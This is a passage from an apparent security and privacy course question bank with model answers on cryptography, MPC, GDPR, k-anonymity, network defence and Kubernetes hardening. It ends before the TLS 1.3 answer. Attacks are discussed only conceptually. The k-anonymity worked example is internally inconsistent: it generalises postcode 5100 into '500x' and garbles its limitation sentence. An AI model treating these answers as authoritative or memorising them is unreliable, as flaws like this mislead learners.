Combined use: TLS uses both — digital signatures for server certificate authentication (proving server identity to any client) and symmetric MACs or AEAD for individual record integrity during the session (performance-efficient).

Q313: Explain the concept of key management. What are the five stages of a key lifecycle, and what threats apply at each stage?

Model Answer:

Key management is the set of processes, policies, and systems for generating, storing, distributing, using, rotating, and destroying cryptographic keys throughout their lifecycle. Even a perfectly secure algorithm is compromised if key management is weak.

Five lifecycle stages and threats:

(1) Generation: Keys must be generated with cryptographically secure randomness. Threat: weak random number generators (PRNG seeded with predictable values, low-entropy sources) produce guessable keys. Mitigation: use OS-provided CSPRNG (/dev/urandom, CryptGenRandom), verify entropy sources.

(2) Storage: Keys at rest must be protected. Threat: keys stored in plaintext in configuration files, version control, or accessible directories. Mitigation: hardware security modules (HSMs), key management services (AWS KMS, HashiCorp Vault), access-controlled keystores.

(3) Distribution: Keys must reach authorised parties without exposure. Threat: interception during transit, man-in-the-middle on key exchange, key substitution attacks. Mitigation: authenticated key exchange (TLS with certificate validation), out-of-band verification for critical keys.

(4) Use: Keys must be used correctly in every operation. Threat: nonce reuse, wrong mode of operation, keys used beyond their intended scope or for too long. Mitigation: enforce key use policies, use separate keys for separate purposes, check construction documentation.

(5) Rotation and revocation: Keys must be changed on schedule and revoked when compromised. Threat: long-lived keys accumulate exposure risk; revoked keys still accepted. Mitigation: automated rotation, certificate revocation (CRL/OCSP), short certificate lifetimes.

Q314: What is hybrid encryption? Why do real protocols like TLS use it rather than purely public-key or purely symmetric encryption?**Model Answer:**

Hybrid encryption combines asymmetric (public-key) cryptography for key establishment with symmetric cryptography for bulk data encryption.

Mechanism: (1) The parties use asymmetric cryptography (RSA-OAEP, ECDHE) to establish or encapsulate a short, randomly generated session key. (2) The session key is then used with a symmetric authenticated encryption scheme (AES-GCM, ChaCha20-Poly1305) to encrypt the actual data.

Why not purely symmetric: Symmetric encryption requires a shared secret to already exist between the parties. Distributing that shared secret securely to parties who have never communicated before is the key-distribution problem. This is especially difficult at internet scale (millions of clients connecting to a server for the first time).

Why not purely asymmetric: Public-key operations (RSA, ElGamal) are computationally expensive — typically 100–1000x slower than symmetric operations. Encrypting gigabytes of data with RSA directly would be impractical.

TLS example: During the TLS handshake, the server presents a certificate (containing its public key). The parties use ECDHE to establish a shared ephemeral secret, from which session keys are derived using a key derivation function. All subsequent application data is encrypted using AES-GCM or ChaCha20-Poly1305 with the derived session keys. The expensive asymmetric step happens once; the fast symmetric step handles all traffic.

Q315: Explain the millionaire's problem. What does it demonstrate about MPC? What does the output inevitably reveal?

Model Answer:

The millionaire's problem (posed by Andrew Yao, 1982): Two millionaires want to determine who is richer without either revealing their exact wealth to the other. More formally: Alice has salary x , Bob has salary y . They want to learn whether $x > y$ without either party learning the other's exact value.

What it demonstrates: It is possible to evaluate a useful comparison function over private inputs while protecting the inputs themselves. The function result (who earns more) can be computed without either party becoming a data broker for the other's exact figure. This is the foundational demonstration that secure computation is possible.

What the output inevitably reveals: The comparison result $x > y$ logically implies something about the inputs. If Alice learns $x > y$ is true, she now knows her salary exceeds Bob's. If the result is false, she knows her salary does not exceed his. Additionally, if Alice knows her own exact salary x and learns $x > y$, she can infer a bound on y ($y < x$). MPC cannot eliminate this leakage because it follows from the function definition and the parties' own inputs — it is 'output is allowed leakage.' MPC prevents additional leakage beyond what the function result and one's own input logically imply.

Q316: What is the role of oblivious transfer (OT) in secure computation? How does it relate to garbled circuits?

Model Answer:

Oblivious transfer (OT) is a two-party cryptographic primitive where a sender has multiple messages and a receiver obtains exactly one of them (based on the receiver's choice) without the sender learning which one the receiver chose, and without the receiver learning anything about the messages not chosen.

1-out-of-2 OT: Sender has messages m_0 and m_1 . Receiver has choice bit b . At the end: receiver learns m_b , sender learns nothing about b , receiver learns nothing about m_{1-b} .

Role in secure computation: Garbled circuits (Yao's protocol) evaluate a function securely between two parties. The function is represented as a Boolean circuit. The garbler encrypts (garbles) the circuit so the evaluator can evaluate it without learning the garbler's input. For the evaluator's own input wires, the evaluator must obtain the correct 'label' (one of two wire values) without revealing which label they need. OT provides exactly this: the evaluator obtains the correct label corresponding to their input bit without the garbler learning the evaluator's choice, and without the evaluator learning the other label.

Connection to secret-sharing MPC: Garbled circuits and OT are the primary tools for 2PC (two-party computation). Secret sharing with Beaver triples is more efficient for multi-party settings and arithmetic computation. Both approaches achieve secure computation but have different performance and communication characteristics.

Q317: Explain the concept of output minimisation in MPC. Why should system designers consider a less revealing function even when a more informative function is technically feasible?

Model Answer:

Output minimisation is the principle that an MPC system should reveal only the least informative result that still satisfies the parties' legitimate need, rather than revealing all information that could technically be

computed.

Why it matters: MPC prevents disclosure of raw inputs, but the output itself can reveal sensitive information. Choosing a more informative output than necessary increases privacy risk even when the cryptographic protocol is perfectly correct.

Example — salary comparison: (1) 'Who earns more?' — reveals an ordering. (2) 'What is the exact salary of each person?' — reveals everything. (3) 'Does anyone earn above X threshold?' — reveals only a binary answer. Option 3 reveals less than option 1, which reveals less than option 2. If the business need is only to confirm whether anyone is above a salary band, outputting option 3 is significantly better for privacy than option 1.

Example — medical research: Instead of outputting individual patient records satisfying a criterion, output only the count. The count answers the research question without enabling re-identification.

Design principle: Define the MINIMUM output that answers the legitimate question. The function choice is as important a privacy decision as the cryptographic implementation. A perfectly implemented MPC protocol computing a maximally revealing function still creates unnecessary privacy risk.

Q318: Explain the GDPR's accountability principle (Article 5(2)). What practical documentation and governance requirements does it create for software teams?

Model Answer:

The accountability principle requires that the data controller must not only comply with the GDPR principles but must also be able to DEMONSTRATE compliance. Compliance must be provable, not merely claimed.

Practical documentation requirements: (1) Records of processing activities (Article 30): document what data is collected, for what purpose, on what legal basis, who has access, how long it is retained, and what security measures protect it. (2) Data Protection Impact Assessments (Article 35): for high-risk processing, document the identified risks and chosen mitigations before deployment. (3) Privacy notices: document what was disclosed to data subjects and when. (4) Consent records: log when and how consent was obtained and whether it was withdrawn. (5) Processor contracts: document agreements with all processors and their sub-processors.

Governance requirements for software teams: (1) Maintain an up-to-date data map (what personal data exists, where, processed by whom). (2) Apply data-minimisation and retention controls with documented justification. (3) Record security decisions and their rationale. (4) Implement data-subject rights workflows with audit trails. (5) Maintain breach detection and notification procedures. (6) Assign a responsible owner for each processing activity.

Engineering implication: Systems must be designed to produce evidence of compliance — logs, decision records, retention job logs, rights-request completion records — not just to technically comply. A system that does the right thing but cannot prove it does so fails the accountability principle.

Q319: What is a Data Protection Impact Assessment (DPIA)? Describe its six key components and explain how it should influence system design.

Model Answer:

A DPIA (Article 35 GDPR) is a structured assessment required before high-risk processing of personal data begins. 'High-risk' typically includes large-scale processing of special-category data, systematic profiling, public monitoring, and processing using new technologies that create significant risks to individuals.

Six key components: (1) Description of processing: What data, why, how, for how long, who accesses it, which third parties are involved. (2) Assessment of necessity and proportionality: Is the processing strictly necessary? Is the chosen approach proportionate to the purpose? Could a less privacy-invasive alternative achieve the same goal? (3) Risks to individuals: What could go wrong for data subjects — unauthorised access, discrimination, financial harm, reputational damage, loss of control? Assess likelihood and severity. (4) Proposed controls: Technical and organisational measures to address identified risks — encryption, access control, pseudonymisation, retention limits, staff training. (5) Residual risk: What risk remains after controls? Is it acceptable? If high residual risk remains, consultation with the supervisory authority is required (Article 36). (6) Review triggers: When will the DPIA be reviewed? What changes to the system would require reassessment?

How it should influence design: A DPIA conducted before deployment — not after — can drive architectural decisions: choosing pseudonymisation over direct identifiers, reducing retention periods, restricting data access to specific roles, selecting a less data-intensive approach to the same goal. A DPIA produced only to document decisions already made is bureaucratic compliance without privacy benefit.

Q320: Explain data subject rights under GDPR. For each of three rights (erasure, portability, and automated decision-making safeguards), describe the engineering requirements it creates.

Model Answer:

Right to erasure (Article 17): Data subjects can request deletion of their personal data under specified conditions (data no longer necessary, consent withdrawn, unlawful processing, legal obligation).

Engineering requirements: (1) Maintain a data map identifying all locations where a user's data appears (database, backups, logs, caches, CDN, third-party processors). (2) Implement deletion workflows that propagate across all stores, not only the primary database. (3) Handle backups — immediate deletion from backups is often technically infeasible; document a policy for scheduled deletion upon backup rotation. (4) Notify processors and sub-processors to also delete. (5) Document what data is retained and why (legal hold, contractual obligation) when full deletion is not possible.

Right to data portability (Article 20): Data subjects can receive their personal data in a structured, commonly used, machine-readable format and transmit it to another controller.

Engineering requirements: (1) Design export endpoints returning data in JSON or CSV, not proprietary formats. (2) Cover all data provided by or generated by the user's activity. (3) Implement identity verification before releasing data. (4) Log portability requests for accountability.

Right to not be subject to solely automated decision-making with legal or significant effects (Article 22): If a decision is based solely on automated processing (no human review) and produces legal or similarly significant effects, data subjects have the right to human review, to express their view, and to challenge the decision.

Engineering requirements: (1) Identify which automated decisions qualify (loan decisions, hiring screening, insurance pricing). (2) Implement a meaningful human review pathway — not a token human sign-off on an unchanged automated output. (3) Design systems to provide explanations of automated decisions in human-understandable terms. (4) Implement the 'object' workflow with documented handling procedures.

Q321: What is the difference between a data controller and a data processor under GDPR? Can a company be both? Give an engineering-relevant example.

Model Answer:

Controller: The natural or legal person who determines the purposes and essential means of personal data processing — the WHY and essential HOW. Controllers bear primary legal responsibility and must have a lawful basis for processing.

Processor: Processes personal data on behalf of and under the instructions of a controller. Processors have their own direct GDPR obligations (Article 28) but act within controller instructions.

Can a company be both: Yes. A company may be a controller for its own employee data and HR purposes (it determines why and how employee data is processed) and simultaneously a processor for its clients' customer data (it processes client data according to client instructions, under a Data Processing Agreement).

Engineering-relevant example: A SaaS company providing a customer relationship management (CRM) tool is a processor — it processes the client company's customer data under the client's instructions. However, the SaaS company is a controller for its own usage analytics, billing data, and employee records.

Engineering implications: (1) When acting as processor, the system must enforce the controller's retention and access instructions — no independent use of client data for the processor's own purposes. (2)

Contractual requirements: a written Data Processing Agreement (DPA) must be in place. (3) Sub-processors require the controller's authorisation and must be bound by the same obligations. (4) Data flows must be documented to identify controller-processor boundaries and verify appropriate agreements exist.

Q322: What is k-anonymity? Construct a simple example showing a dataset that is 2-anonymous and one that is not, and explain the limitation this illustrates.**Model Answer:**

k-anonymity: A dataset is k-anonymous with respect to a set of quasi-identifiers if every record is indistinguishable from at least k-1 other records on those quasi-identifiers. The maximum probability of singling out any one person from a released dataset is $1/k$.

Example — NOT 2-anonymous ($k=1$ for some records): Age | Postcode | Diagnosis 25 | 5000 | Cancer 30 | 5000 | Diabetes 25 | 5100 | Cancer The record (25, 5000) is unique — only one record has that combination. An attacker knowing a 25-year-old in postcode 5000 appears in this dataset immediately identifies them and their diagnosis.

Same data made 2-anonymous by generalisation: Age | Postcode | Diagnosis 20-30 | 500x | Cancer 20-30 | 500x | Diabetes 20-30 | 500x | Cancer Now every record shares the same quasi-identifiers with at least one other. No single record can be singled out with probability greater than $1/2$.

Limitation illustrated: Even in the 2-anonymous version, all records in the group share the SAME diagnosis (Cancer) if we had: (20-30, 500x, Cancer), (20-30, 500x, Cancer). An attacker who knows a person belongs to this group still learns their diagnosis with certainty. This is the attribute-disclosure problem that k-anonymity does not address — it protects against singling out but not against inference of sensitive attributes within equivalence classes. l-diversity was introduced specifically to address this limitation.

Q323: What is a security information and event management (SIEM) system? How does it relate to intrusion detection and incident response?**Model Answer:**

A SIEM is a platform that aggregates, correlates, and analyses security event data from multiple sources across an IT environment — firewalls, IDS/IPS, operating systems, applications, authentication systems, and network devices.

Core functions: (1) Log collection and normalisation: aggregates logs from heterogeneous sources into a common format. (2) Correlation: applies rules to detect patterns across multiple events that individually would not trigger an alert (e.g., failed login attempts on server A followed by a successful login from the same IP on server B). (3) Alerting: generates alerts when patterns match defined rules or baseline deviations are detected. (4) Dashboarding: provides real-time and historical visibility. (5) Forensic search: enables retrospective analysis of recorded events after an incident is suspected.

Relationship to IDS: An IDS identifies suspicious activity in network traffic or host behaviour. A SIEM aggregates IDS alerts alongside many other sources. The SIEM provides the wider context that transforms an isolated IDS alert into a confirmed incident — for example, correlating a network IDS alert with an authentication failure log and a subsequent file access log.

Relationship to incident response: A SIEM is the primary tool for incident detection and initial investigation. When an alert fires, responders use the SIEM to trace the timeline of events, identify affected systems, determine scope, and preserve evidence. The quality of incident response depends directly on the completeness and integrity of the log data feeding the SIEM.

Q324: Explain the concept of network segmentation. How does it limit the impact of a successful compromise, and what is a VLAN?

Model Answer:

Network segmentation is the practice of dividing a network into multiple isolated or restricted sub-networks (segments or zones) so that traffic between segments is controlled by security policies, typically enforced by firewalls, access control lists, or routing rules.

How it limits compromise impact: An attacker who compromises one segment cannot freely reach systems in other segments. Lateral movement requires successfully crossing enforced boundaries, which may require additional exploitation steps or may be impossible if the segment is fully isolated. Example: a compromised IoT device on an isolated IoT VLAN cannot directly reach the corporate file server on the internal network VLAN.

Real-world examples: Separating user workstations from server infrastructure, placing public-facing services in a DMZ isolated from internal systems, isolating OT/SCADA systems from corporate IT, creating a separate guest WiFi network that cannot reach internal resources.

VLAN (Virtual Local Area Network): A logical network boundary created at Layer 2 (data link) by tagging frames with a VLAN identifier. Devices on different VLANs cannot communicate directly even if they share the same physical switch hardware. Inter-VLAN communication requires routing through a Layer 3 device (router or Layer 3 switch) where firewall rules can be applied.

Limitation: VLANs alone are not a complete security boundary — VLAN hopping attacks exist, and misconfigurations can create unintended paths. VLANs must be combined with proper firewall rules at inter-VLAN routing points and with 802.1X port authentication to prevent unauthorised devices from joining sensitive VLANs.

Q325: Define the concept of non-repudiation. How do digital signatures provide it, and why do symmetric MACs not provide it?

Model Answer:

Non-repudiation is the ability to prove that a specific party performed a specific action — and to prevent that party from credibly denying it later. It provides evidence of origin, delivery, or action that can be verified by third parties.

How digital signatures provide non-repudiation: A digital signature is created using the signer's private key, which only the signer possesses. The resulting signature can be verified by any holder of the corresponding public key. Because only the private key holder could have produced the signature, the signer cannot plausibly deny having signed the message — the evidence exists in a form verifiable by third parties (courts, auditors, business partners).

Why symmetric MACs do not provide non-repudiation: A MAC is generated using a shared secret key. Both the sender AND the receiver possess this key. Therefore, either party could have generated a valid MAC. If Alice disputes having sent a message to Bob, Bob cannot prove to a third party that Alice created the MAC — Bob could have created it himself using his copy of the shared key. Non-repudiation requires an asymmetric capability: only one party can produce the proof, but anyone can verify it.

Practical implication: Software distribution (signing binaries), financial transactions (signing payment instructions), legal documents (e-signatures), and audit trails requiring individual accountability all require digital signatures. Symmetric MACs are sufficient for integrity verification between mutually trusted parties but cannot substitute for signatures when attribution to a specific party must be provable externally.

Q326: What is certificate pinning? When is it used and what are its risks?

Model Answer:

Certificate pinning is the practice of hard-coding or pre-loading the expected certificate or public key for a specific service into an application, rather than relying solely on the certificate chain validation against the device's trust store (CA root certificates).

How it works: Instead of trusting any certificate signed by any trusted CA, the application accepts only the specific certificate(s) or public key(s) it was configured to expect. If the server presents a different certificate — even one signed by a trusted CA — the connection is rejected.

When it is used: Mobile applications connecting to specific backend APIs, security-critical applications (banking, authentication), environments where man-in-the-middle attacks via compromised or rogue CAs are a specific threat, and testing environments requiring isolation.

Risks and trade-offs: (1) Certificate renewal: When the pinned certificate expires, all older application versions stop working unless a certificate rotation strategy was designed in advance. This has caused production outages. (2) Inflexibility: Emergency certificate replacement (e.g., private key compromise) may leave old application versions broken until they are updated. (3) Bypass: On jailbroken/rooted devices, pinning is routinely bypassed by penetration testers and attackers using tools like Frida. (4) Maintenance cost: Pinned values must be managed as infrastructure artifacts and updated with each certificate change.

Best practice: Pin public keys rather than full certificates where possible (key pinning survives certificate renewal if the same key pair is used), implement backup pins, design a rotation strategy before deploying pinning, and verify the pinning implementation with a penetration test.

Q327: What is OSINT and how does it connect to the concept of the 'digital footprint'? Give three categories of digital footprint information and their relevance to a social engineering attack.

Model Answer:

OSINT (Open-Source Intelligence) is the collection and analysis of information from publicly available or lawfully accessible sources — no hacking required.

Digital footprint: The trail of data that individuals and organisations leave across digital systems through normal activity. Every registration, post, transaction, photo, and comment potentially contributes.

Three categories relevant to social engineering:

(1) Professional/organisational footprint — LinkedIn profiles, company websites, press releases, job postings, conference speaker lists. Reveals: full name, title, reporting relationships, technologies used, team structure, projects, and vocabulary. Attack use: enables personalised spear-phishing messages that mention real colleagues, projects, and internal terminology to appear credible.

(2) Social/personal footprint — Instagram, Facebook, Twitter/X, forum posts, public check-ins, tagged photos. Reveals: personal interests, family members, travel patterns, home location, vehicle, relationships, and routines. Attack use: enables pretexts exploiting personal context ('I saw your post about the conference, I was there too — could you help me access...'), answers security questions, identifies alternative contact paths.

(3) Technical/infrastructure footprint — Shodan, Netcraft, DNS records, WHOIS, GitHub repositories, archived websites (Wayback Machine), job advertisements. Reveals: IP ranges, exposed services, technology stack, software versions, internal hostnames, sometimes credentials accidentally committed to public repositories. Attack use: identifies attack vectors, prepares technically accurate pretexts, finds misconfigured services.

Correlation risk: individually these reveal little; combined into a dossier, they produce a highly effective social engineering capability without any technical exploitation.

Q328: Explain the concept of defence-in-depth applied to a web application. Name at least six independent security layers and explain what each defends against.

Model Answer:

Defence-in-depth for a web application means deploying multiple independent security controls so that compromising one layer does not directly expose the application to full exploitation.

Six layers:

(1) Network perimeter — WAF (Web Application Firewall), CDN with DDoS mitigation. Defends against: volumetric attacks, known SQL injection and XSS patterns, layer 7 floods. Limitation: cannot stop zero-day application logic flaws.

(2) Transport security — TLS with HSTS, certificate pinning. Defends against: traffic interception, MITM attacks, credential theft in transit. Limitation: does not protect content once decrypted at the server.

(3) Authentication and session management — MFA, secure session tokens, session timeout, CSRF tokens. Defends against: credential attacks, account takeover, session hijacking. Limitation: does not prevent exploitation of server-side vulnerabilities.

(4) Application input handling — parameterised queries, output encoding, input validation, Content Security Policy. Defends against: SQL injection, XSS, command injection. Limitation: does not protect against logic flaws in business workflows.

(5) Access control — role-based access, least privilege, object-level authorisation checks. Defends against: horizontal and vertical privilege escalation, IDOR vulnerabilities. Limitation: does not protect against attacks exploiting correctly authorised operations.

(6) Data layer — encryption at rest, database least-privilege accounts, column-level encryption for sensitive data. Defends against: direct database access, SQL injection data exfiltration limited by column permissions, storage theft. Limitation: does not prevent authorised-path exfiltration.

Additional layers: logging/SIEM (detection), dependency management (supply chain), security testing (finding issues before deployment). The key property: each layer assumes the previous layers may fail.

Q329: What is the difference between authentication and authorisation? Describe three common authorisation models: DAC, MAC, and RBAC.

Model Answer:

Authentication: Verifying identity — confirming that the entity is who it claims to be. Examples: password verification, biometric matching, certificate validation, one-time code check.

Authorisation: Determining what an authenticated entity is permitted to do — which resources, operations, and data they may access. Authorisation always follows authentication.

Three authorisation models:

(1) DAC (Discretionary Access Control): Resource owners control access to their own resources and can grant or revoke permissions at their discretion. Example: Unix/Linux file permissions where the file owner can set read/write/execute for owner, group, and others. Flexible but inconsistent — individual owners may apply different policies, creating gaps or excessive grants.

(2) MAC (Mandatory Access Control): Access decisions are made by a central policy, not by resource owners. Subjects and objects are assigned security labels (e.g., Unclassified, Confidential, Secret, Top Secret). A subject can only access objects at or below their clearance level. Policy is enforced by the system, not by users. Example: SELinux, military classification systems. More rigid but more consistent than DAC.

(3) RBAC (Role-Based Access Control): Permissions are assigned to roles, and users are assigned to roles rather than receiving permissions directly. Example: a 'nurse' role can read patient records and order basic tests; a 'doctor' role can additionally prescribe medication; an 'admin' role can modify user accounts. Changes to role permissions automatically apply to all users in that role. Scales well for organisations; easier to audit than direct per-user permissions. Most enterprise systems use RBAC as the primary model.

Q330: What is a zero-day vulnerability? How does it differ from an N-day vulnerability, and what challenges does zero-day exploitation create for defenders?

Model Answer:

Zero-day vulnerability: A security vulnerability that is unknown to the vendor, or for which no patch exists at the time of exploitation. The 'zero' refers to the number of days defenders have had to prepare — they had no warning. Once the vendor becomes aware and releases a patch, it transitions to an N-day vulnerability.

N-day vulnerability: A vulnerability for which a patch exists but the target has not yet applied it. The 'N' represents the number of days since the patch was released. Exploiting N-days is still effective because patch deployment is often delayed for weeks to months.

Challenges zero-days create for defenders: (1) Signature-based defences are blind — no CVE exists, so IDS signatures, scanner plugins, and vendor advisories cannot detect it. (2) Patch management is irrelevant — there is no patch to apply. (3) Behaviour-based detection may catch it if the exploitation behaviour is unusual, but novel exploits may avoid triggering behavioural alerts. (4) Threat intelligence sharing provides no warning — the vulnerability is not in any public feed.

How defenders respond: (1) Defence-in-depth — even if an application is vulnerable, additional layers (network segmentation, least privilege, monitoring) limit impact. (2) Anomaly detection — detect unusual system behaviour rather than known signatures. (3) Rapid response capability — when a zero-day is disclosed, the ability to patch quickly (days, not months) reduces exposure window. (4) Threat intelligence subscriptions — private zero-day feeds exist but are expensive and incomplete. (5) Attack surface reduction — fewer exposed services mean fewer zero-day opportunities.

Q331: What are the 4Cs of cloud-native security? Explain each layer and give one concrete threat example per layer.

Model Answer:

The 4Cs is a layered security model for cloud-native systems. Each layer is nested inside the next, meaning a weakness in an outer layer can undermine all inner layers regardless of how well they are secured.

Cloud: Security of the underlying cloud infrastructure — the provider environment, identity and access management for cloud accounts, network controls, storage configuration, and cloud-provider APIs. Threat example: an over-permissive cloud IAM role allows an attacker who compromises any workload to list and download all cloud storage buckets including backups and secrets.

Cluster: Kubernetes cluster-level security — the API server configuration, authorisation policies (RBAC), network policies, etcd protection, audit logging, and cluster authentication. Threat example: an anonymous authentication setting on the API server allows unauthenticated requests to list pods, nodes, and secrets.

Container: Security of the Dockerfile or Containerfile, base image, installed packages, and container runtime configuration. Threat example: a base image built from an outdated Debian release contains known CVEs in the system libraries; a deployed container inherits all these vulnerabilities.

Code: Security of the actual application code running inside containers — input validation, dependency management, secrets handling in code, and application-level authorisation. Threat example: an environment variable containing a database password is logged by the application on startup and appears in cluster audit logs.

Q332: Describe the Kubernetes control plane components: API server, etcd, scheduler, and controller manager. What trust-boundary risk does each present?

Model Answer:

API server: The central interface through which all clients — kubectl users, CI/CD pipelines, other cluster components — interact with the cluster. It authenticates and authorises all requests and is the sole interface to etcd. Trust-boundary risk: if the API server is misconfigured (anonymous auth enabled, overly permissive RBAC, unauthenticated health endpoints exposed), an attacker with network access can enumerate or modify cluster state without valid credentials.

etcd: A distributed key-value store containing the entire cluster state — all configuration, secrets, pod specs, and node information. Trust-boundary risk: direct access to etcd bypasses all API server authentication and authorisation. If the etcd client port (2379) is reachable without certificate-based mutual TLS, an attacker can read all secrets in plaintext and overwrite cluster configuration.

Scheduler: Decides which worker node each pod runs on based on resource availability and constraints. Trust-boundary risk: a compromised or manipulated scheduler could assign sensitive workloads to untrusted or under-resourced nodes, enabling interference or resource exhaustion.

Controller manager: Runs controllers that reconcile desired cluster state with actual state (e.g., ensuring the correct number of pod replicas). Trust-boundary risk: a compromised controller manager can create, modify, or delete cluster resources continuously as part of its reconciliation loop, making malicious changes self-repairing.

Q333: What is RBAC in Kubernetes? Explain the relationship between Roles, ClusterRoles, RoleBindings, and ClusterRoleBindings. What is the danger of overly broad RBAC?

Model Answer:

RBAC (Role-Based Access Control) is Kubernetes's primary authorisation mechanism. It controls which API operations (verbs: get, list, watch, create, update, delete) each identity (user, service account, group) may perform on which resources (pods, secrets, configmaps, nodes) within which scope.

Role: Defines permitted actions on resources within a single namespace. Example: a Role in namespace 'production' granting get/list/watch on pods.

ClusterRole: Defines permitted actions cluster-wide, across all namespaces or for cluster-scoped resources (nodes, persistentvolumes). Example: a ClusterRole granting read access to all secrets in all namespaces.

RoleBinding: Grants a Role (or ClusterRole) to a subject within a specific namespace. ClusterRoleBinding: Grants a ClusterRole to a subject cluster-wide.

Danger of overly broad RBAC: (1) A service-account token stolen from one pod grants all permissions assigned to that service account. If the service account has cluster-admin or wildcard permissions, the attacker gains full cluster control. (2) Pods should only have the permissions needed for their function — a frontend web pod rarely needs to list or read secrets. (3) Overly broad bindings increase the blast radius of any individual component compromise — a vulnerability in a low-value workload becomes a cluster-wide breach. Principle: apply least-privilege RBAC; grant specific verbs on specific resources in specific namespaces only.

Q334: Describe three main Kubernetes attack vectors: Denial of Service, compromised container, and service token compromise. For each, explain the attack mechanism and one mitigation.

Model Answer:

Denial of Service: An attacker (internal or external) exhausts cluster resources — CPU, memory, API server request capacity, etcd storage, scheduling bandwidth, or network — preventing legitimate workloads from running or new nodes from joining. Example: a workload with no resource limits consumes all node memory, causing the kubelet to evict other pods. Mitigation: enforce ResourceQuotas and LimitRanges on all namespaces to cap resource consumption per workload and per namespace.

Compromised container: An attacker exploits a vulnerability in an application running inside a pod, gaining code execution within the container. The container then becomes a platform for reconnaissance, secret access, lateral movement to other pods or nodes, and persistence. Example: a remote code execution vulnerability in a web application gives shell access inside the pod. Mitigation: run containers as non-root, use read-only root filesystems, apply Seccomp profiles, avoid privileged containers, and use network policies to restrict what the compromised container can reach.

Service token compromise: Every pod receives a service-account token mounted automatically. If an attacker obtains this token (from the filesystem of a compromised container, from logs, or from an exposed endpoint), they can authenticate to the Kubernetes API with all permissions granted to that service account. Example: a pod with an overly permissive service account can list and read all secrets after its token is stolen. Mitigation: disable automatic token mounting for pods that do not need API access, use short-lived projected tokens, and apply least-privilege RBAC to all service accounts.

Q335: What is etcd and why is protecting it the highest-priority control in Kubernetes security? What happens if an attacker gains direct etcd access?

Model Answer:

etcd is the distributed key-value datastore that holds the entire Kubernetes cluster state: pod specifications, node registrations, service definitions, RBAC policies, ConfigMaps, and Kubernetes Secrets. All control-plane components read and write cluster state through the API server, which in turn uses etcd as its persistent backend.

Why it is the highest-priority: etcd access bypasses all Kubernetes authentication and authorisation. The API server enforces RBAC; direct etcd clients do not. An attacker with etcd client access obtains raw cluster state including all Kubernetes Secrets, which — unless separately encrypted at rest — are stored base64-encoded (not encrypted) by default.

Consequences of direct etcd access: (1) Read all secrets (tokens, certificates, passwords, API keys) stored in Kubernetes Secrets objects. (2) Read all pod specifications, network configuration, and RBAC policies. (3) Write arbitrary cluster state — create privileged pods, modify RBAC to grant cluster-admin to an attacker-controlled account, register a malicious node. (4) All changes made directly to etcd bypass the API server's audit logging, making forensic detection harder.

Mitigations: restrict etcd ports (2379 client, 2380 peer) to control-plane components only using network controls, enforce mutual TLS for all etcd connections, enable Kubernetes secrets encryption at rest (EncryptionConfiguration), and monitor etcd access patterns for anomalies.

Q336: What are Kubernetes Network Policies? What is the default behaviour without them and why is that a security problem?**Model Answer:**

Kubernetes Network Policies are objects that define which pods can communicate with which other pods and external endpoints. They are enforced by the cluster's network plugin (CNI — Container Network Interface).

Default behaviour without Network Policies: All pods in a Kubernetes cluster can communicate with all other pods in all namespaces by default. Any pod can initiate connections to any other pod on any port. This is the 'flat network' or 'allow all' default.

Why this is a security problem: (1) A compromised pod can immediately reach all other pods across all namespaces, including the database tier, monitoring systems, and management services. Lateral movement requires no additional network exploitation. (2) A pod that should only accept HTTP traffic from a specific frontend service is equally reachable from every other workload. (3) Stolen service tokens can be used to call any internal API endpoint. Defence in depth is impossible if every component is reachable from every other.

With Network Policies: Teams can define ingress and egress rules specifying which pods (by label selector and namespace) may communicate. A frontend pod might only be reachable from the ingress controller; a database pod only from specific backend services. Implementing a default-deny NetworkPolicy per namespace and then explicitly allowing required flows is the recommended posture — mirroring the default-deny firewall principle at the Kubernetes network level.

Q337: Describe five Kubernetes hardening best practices drawn from the 4Cs model. For each, state which layer it addresses and what threat it mitigates.**Model Answer:**

- (1) Use Kubernetes Secrets rather than ConfigMaps for sensitive values — Container/Cluster layer. Mitigates: accidental exposure of credentials in plain ConfigMaps readable by any pod. Further hardening: enable encryption-at-rest for Secrets so they are not stored as base64 in etcd.
- (2) Apply least-privilege RBAC and disable automatic service-account token mounting for pods that do not call the Kubernetes API — Cluster layer. Mitigates: stolen service-account tokens being used to access the API server with excessive permissions.
- (3) Build containers from minimal, reviewed base images; scan images for known CVEs before deployment; avoid using the :latest tag — Container layer. Mitigates: deploying containers with known vulnerabilities inherited from outdated or bloated base images.
- (4) Enforce ResourceQuotas and LimitRanges for all namespaces; configure liveness and readiness probes — Cluster/Code layer. Mitigates: denial-of-service through resource exhaustion by unbounded workloads.
- (5) Enable API server audit logging and periodically review audit logs — Cluster layer. Mitigates: undetected privilege escalation, lateral movement, or configuration changes; provides evidence for incident response and forensics.
- Additional practices: run containers as non-root users, use read-only root filesystems, apply network policies with a default-deny posture, use image signing (Notary) to verify supply-chain integrity, and scan cluster configuration with tools like kube-bench or Kubescape.

Q338: What is the Kubernetes software supply-chain threat? How can a malicious container image compromise an entire cluster?

Model Answer:

The software supply-chain threat in Kubernetes refers to attacks that inject malicious code at the level of the container image, before the workload is ever deployed to the cluster. Even a perfectly configured cluster deploys and runs a malicious image with the permissions granted to that workload.

Attack path: (1) An attacker compromises the image registry or obtains write credentials to it. (2) The attacker replaces or poisons a trusted image tag (e.g., company/app:latest) with a modified image containing a backdoor, credential harvester, or malware. (3) The next deployment or auto-scaling event pulls and runs the poisoned image through the normal CI/CD pipeline. (4) The running container has all the Kubernetes permissions, network access, and mounted secrets of a legitimate pod.

Why this is severe: No runtime vulnerability is needed — the image itself is malicious. RBAC, network policies, and runtime controls apply based on the pod's configuration, not the image's origin. A backdoor in the image may be designed to be quiet until a trigger is received.

Mitigations: (1) Use narrowly scoped, read-only pull credentials — separate from write/publish credentials. (2) Sign images (Notary/Sigstore) and enforce signature verification before deployment (admission controllers). (3) Scan images with tools like Clair or Kubescape before promotion to production registries. (4) Pin images to specific digest hashes rather than mutable tags. (5) Protect registry credentials as carefully as cluster admin credentials. (6) Monitor image pull events and alert on unexpected registry interactions.

Q339: What is TLS and how does it protect web traffic? Describe the TLS 1.3 handshake at a high level and name the two phases.

Model Answer:

TLS (Transport Layer Security) is the cryptographic protocol that protects data in transit between clients and servers. It provides confidentiality (encryption), integrity (authenticated encryption prevents tampering), and authentication (the server proves its identity with a certificate). HTTPS is HTTP over TLS.

TLS 1.3 handshake — two phases:

